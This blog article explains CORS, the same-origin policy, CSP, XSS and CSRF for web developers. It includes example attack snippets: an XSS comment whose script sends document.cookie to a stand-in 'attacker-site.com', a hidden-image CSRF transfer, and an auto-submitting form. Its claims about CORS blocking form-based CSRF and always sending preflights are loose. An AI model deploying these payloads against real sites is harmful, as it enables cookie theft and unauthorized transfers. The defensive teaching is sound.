Crossing Boundaries Securely - An Expert Guide to CORS and Web Application Safety

CORS
CSRF
XSS
author avatar
Bhagyesh Vikani Technical Lead @ Infocusp
12 min read  .  03 November 2023

blog banner

In the intricate web of the internet, the concept of CORS (Cross Origin Resource Sharing) serves as a critical guardian of security. Origin encompasses the protocol, domain, and port, collectively defining the source of a web resource. A noteworthy scenario arises when a user on one domain intends to access resources on another domain, leading to what is termed as "Cross-Origin" interactions.

Let's consider an example: a user is on "example.com" and wishes to retrieve profile data from "infocusp.com," utilizing an API endpoint specifically designed for accessing user profiles. This junction of disparate origins illustrates the Cross-Origin dynamics at play.

Evolution of the Browser Security Model through History

The browser security model has continuously evolved to address the growing concerns of web security and protect users' sensitive information. Let's explore the key milestones in its evolution:

Same-Origin Policy (SOP)

The foundational concept known as the Same-Origin Policy (SOP) emerged in the early stages of the web. This policy serves as a vital security mechanism, preventing web pages from accessing resources located on different origins, encompassing a combination of protocol, domain, and port. This initial approach created a digital boundary that ensured data isolation and user privacy. Under SOP, web pages can only interact with resources from the same origin, providing a level of isolation and protecting users from potential malicious activities.

Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)

As the web became more dynamic, new security threats emerged, such as Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). XSS involves injecting malicious scripts into web pages, which can compromise user data or facilitate further attacks. CSRF occurs when an attacker tricks a user's browser into making unintended requests to a different website, potentially leading to unauthorized actions. To mitigate these threats, browsers introduced countermeasures, including input validation, output encoding, and anti-CSRF tokens, to enhance security and protect users from these vulnerabilities.

Cross-Site Scripting (XSS) Example

Imagine a social media website that allows users to post comments. If the website does not properly validate and sanitize user inputs, an attacker could exploit this by posting a comment that looks like this:

<a href="#" onclick="stealCookies()">Click me!</a> 
<script> 
  function stealCookies() {
    fetch('https://attacker-site.com/collect?data=' + document.cookie);
  }
</script>

An unsuspecting user who clicks on the "Click me!" link would trigger the script. This script then sends their cookies to the attacker's website, potentially compromising their session or personal data.

Real-World XSS Attack

In 2019, the popular multiplayer game Fortnite experienced an XSS vulnerability that affected over 200 million users. A retired, unsecured page went unnoticed by Fortnite developers. The page had an XSS vulnerability that allowed attackers to gain unauthorized access to the data of all Fortnite users.

Attackers could have used XSS, in combination with an insecure single sign-on (SSO) vulnerability, to redirect users to a fake login page. This would allow them to steal virtual currency within the game, and record player conversations, as pre-attack data collection for future attacks. Check Point discovered the attack and notified Fortnite, but it is unknown if the vulnerability was exploited by attackers in the interim.

Cross-Site Request Forgery (CSRF) Example

Consider an online banking platform where users can transfer money by visiting a URL like https://bank.com/transfer?account=recipient&amount=1000. If a user is already logged in, visiting this URL would transfer $1000 to the specified 'recipient' account.

An attacker could craft a malicious website or email with a hidden image:

<img src="https://bank.com/transfer?account=attacker_account&amount=1000" width="0" height="0" />

If a logged-in bank user visits this malicious website or opens the email, their browser would inadvertently make a request to the bank's server, transferring $1000 to the attacker's account without their knowledge.

Content Security Policy (CSP)

Content Security Policy (CSP) was introduced as a defense against code injection attacks, such as XSS. CSP allows website administrators to define policies specifying which content sources (such as scripts, stylesheets, and images) are allowed to be loaded and executed on a web page. By enforcing a whitelist of trusted sources, CSP helps prevent the execution of malicious scripts and reduces the impact of XSS attacks.

Cross-Origin Resource Sharing (CORS)

With the rise of web applications that require cross-origin resource sharing, the browser security model evolved to accommodate this need while maintaining security. Cross-Origin Resource Sharing (CORS) emerged as a standard mechanism to enable controlled cross-origin requests. CORS allows web servers to specify which Origins are permitted to access their resources through additional HTTP headers exchanged between the browser and the server.

By implementing CORS policies, servers can selectively allow cross-origin requests while minimizing the risks associated with unauthorized access and potential security vulnerabilities.

Through these advancements in the browser security model, web browsers have significantly improved their ability to protect users' data and defend against various types of attacks. However, it's important for developers and website administrators to stay vigilant, follow best practices, and keep up with the evolving security landscape to ensure the continued safety and security of web applications.

Security Implications of the CORS Policy

The CORS Policy provides a controlled approach for allowing cross-origin requests, minimizing the risks associated with unauthorized data access and potential security vulnerabilities. Let's delve deeper into the security implications of implementing CORS:

Cross-Origin Data Access

One of the main security implications of the CORS Policy is controlling access to sensitive data. By default, web browsers restrict cross-origin requests, preventing unauthorized access to resources containing sensitive information such as user data, cookies, or authentication tokens. Implementing CORS policies ensures that only trusted Origins are permitted to access such resources, reducing the risk of data breaches. However, it's crucial to define CORS policies carefully to strike the right balance between enabling cross-origin access and protecting sensitive data.

Cross-Origin Request Forgery (CSRF) Protection

CORS helps protect against Cross-Site Request Forgery (CSRF) attacks by enforcing same-origin policies for certain types of requests. By requiring preflight requests and validating the "Origin" header, CORS ensures that requests originating from other Origins are authorized and not forged. This adds an additional layer of protection against CSRF attacks, preventing unauthorized actions on behalf of the user. However, it's important to note that CORS is not a comprehensive solution for CSRF protection. Additional measures such as anti-CSRF tokens should also be implemented to enhance security.

Scenario

Imagine an online banking application where users can initiate money transfers to other bank accounts. The application has a specific endpoint to perform these transfers: https://securebank.com/api/transfer. To initiate a transfer, a POST request with details like the recipient's account number and the transfer amount is sent to the above endpoint.

Attack Without CORS

A malicious actor creates a fake website, https://malicious-site.com, and tricks a logged-in bank user into visiting it. The site contains a hidden form that auto-submits, trying to initiate a transfer:

<form action="https://securebank.com/api/transfer" method="POST" id="evilForm">
    <input type="hidden" name="accountNumber" value="ATTACKER_ACCOUNT_NUMBER" />
    <input type="hidden" name="amount" value="1000" />
</form>
<script>
    document.getElementById("evilForm").submit();
</script>

If the user is logged into their bank account, the malicious form might succeed in transferring money to the attacker's account.

Protection with CORS

To protect its users, the bank's servers implement CORS. When the browser attempts to send the POST request from https://malicious-site.com, it first sends a preflight request because the actual request involves a content type or HTTP method that warrants it.

This preflight request checks if https://malicious-site.com is allowed to make a POST request to https://securebank.com/api/transfer.

The bank's server sees this preflight request and checks the Origin header. Recognizing that https://malicious-site.com is not on its list of approved domains, the bank's server denies the preflight request.

We can see preflight requests in Developer Tool -> Network Tab in Chrome Browser. Below is an example image of the same:

preflight requests

As a result, the browser on the malicious website will not send the actual POST request, thereby preventing the CSRF attack.

But CORS Alone Isn't Enough

While CORS can prevent the malicious website from directly initiating the transfer, CSRF attacks can still be executed in other ways that don't require reading the response (blind attacks). This is why, in addition to CORS, it's essential to implement other security measures like anti-CSRF tokens.

With anti-CSRF tokens, the bank would require a valid, session-specific token with every transfer request. Since the malicious site cannot know or fetch this token due to the same-origin policy, it can't create a valid request, adding an additional layer of security against CSRF attacks.

Fine-grained Control Over Cross-Origin Requests

CORS policies empower web servers with the ability to set specific rules for cross-origin requests. By designating which Origins can access certain resources, they grant or restrict access accordingly.Through meticulous configuration of CORS policies, web applications not only safeguard sensitive data from unintended access but also mitigate the risk of unauthorized manipulation, thereby enhancing overall security.

Handling Cross-Origin Resource Sharing Misconfigurations

Misconfigurations in CORS policies can introduce security vulnerabilities. For example, if a server allows unrestricted access to resources by setting the "Access-Control-Allow-Origin" header to "*", it can expose sensitive data to any Origin, potentially leading to information disclosure. It is essential to properly configure CORS policies to avoid such misconfigurations and maintain the integrity and security of cross-origin requests. Regular security audits and testing can help identify and address any misconfigurations in the CORS policies, ensuring that the appropriate restrictions and permissions are in place.

Trusting Third-Party Origins

When incorporating resources from third-party Origins, such as JavaScript libraries or content delivery networks (CDNs), it's important to consider the security implications. By allowing access to third-party Origins through CORS policies, web applications are inherently trusting those Origins with access to user data and resources. Care should be taken to ensure that third-party Origins are reputable, maintain good security practices, and follow appropriate security standards. Regularly monitoring and reviewing the usage of third-party Origins can help mitigate potential security risks.

How does CORS work?

How does CORS enable cross-origin resource sharing?

CORS works by allowing web servers to define policies that determine which Origins are permitted to access their resources. These policies are communicated through additional HTTP headers exchanged between the browser and the server.

Origin header

  • When a web page makes a cross-origin request, the browser includes an "Origin" header in the request. This header contains the Origin of the requesting web page.
  • The Origin header informs the server about the source of the request and plays a crucial role in determining whether the server should allow or deny the cross-origin request.

Example

Imagine you have a web page hosted at https://mywebsite.com and you want to fetch some data from another domain, say https://data-provider.com.

When a script on your https://mywebsite.com web page tries to make an AJAX request (or any kind of HTTP request) to https://data-provider.com, the browser automatically attaches an "Origin" header to that request. This header will look something like:

Origin: https://mywebsite.com

The https://data-provider.com server then checks the value of the "Origin" header. Based on its CORS policies, the server will decide whether https://mywebsite.com is allowed to access the resource. If it is allowed, the server will respond with the data and include the appropriate CORS headers. If not, it will deny the request, and the browser will throw a CORS policy error.

Preflight request

  • In certain cases, before sending the actual cross-origin request, the browser sends a preflight request (OPTIONS request) to the server.
  • The preflight request includes additional headers such as "Access-Control-Request-Method" and "Access-Control-Request-Headers," which inform the server about the actual request that will follow.
  • The server responds to the preflight request with appropriate CORS headers indicating whether the actual request is allowed. This preflight step helps prevent unintended or malicious cross-origin requests.

Access-Control-Allow-Origin header

  • If the server determines that the cross-origin request is allowed, it includes the "Access-Control-Allow-Origin" header in the response.
  • The "Access-Control-Allow-Origin" header specifies which Origins are permitted to access the requested resource.
  • The server can set this header to a specific Origin or use a wildcard (*) to allow requests from any Origin.

Other CORS headers

  • In addition to the "Access-Control-Allow-Origin" header, the server can include other CORS-related headers in the response.
  • The "Access-Control-Allow-Methods" header specifies the HTTP methods (such as GET, POST, PUT, DELETE) that are allowed for the cross-origin request.
  • The "Access-Control-Allow-Headers" header defines the allowed request headers.
  • The "Access-Control-Allow-Credentials" header controls whether the cross-origin request can include credentials, such as cookies or authorization headers.

By utilizing these additional HTTP headers, CORS establishes a secure and controlled mechanism for cross-origin resource sharing. It enables web applications to selectively allow or deny access to resources from different domains while ensuring the necessary security measures are in place.

Can you explain how CORS requests are processed?

When a web page makes a cross-origin request, the browser sends a preflight request containing the "Origin" header to the server, indicating the requesting Origin. The server then decides whether to allow the request based on its CORS policies. If allowed, the server responds with appropriate CORS headers, such as "Access-Control-Allow-Origin," indicating that the resource can be accessed from the requesting domain.

Conclusion

Despite these advancements, challenges persisted. Malicious actors sought to exploit potential vulnerabilities in the CORS framework, prompting ongoing adjustments to reinforce security measures. This ongoing interplay between innovation and security continues to define the landscape of web application safety.

By examining the historical milestones that have shaped browser security, we gain insight into how these mechanisms have adapted to the evolving complexities of the digital realm. Understanding CORS and its role in securely managing cross-origin interactions is pivotal in safeguarding the integrity of web applications and the data they handle.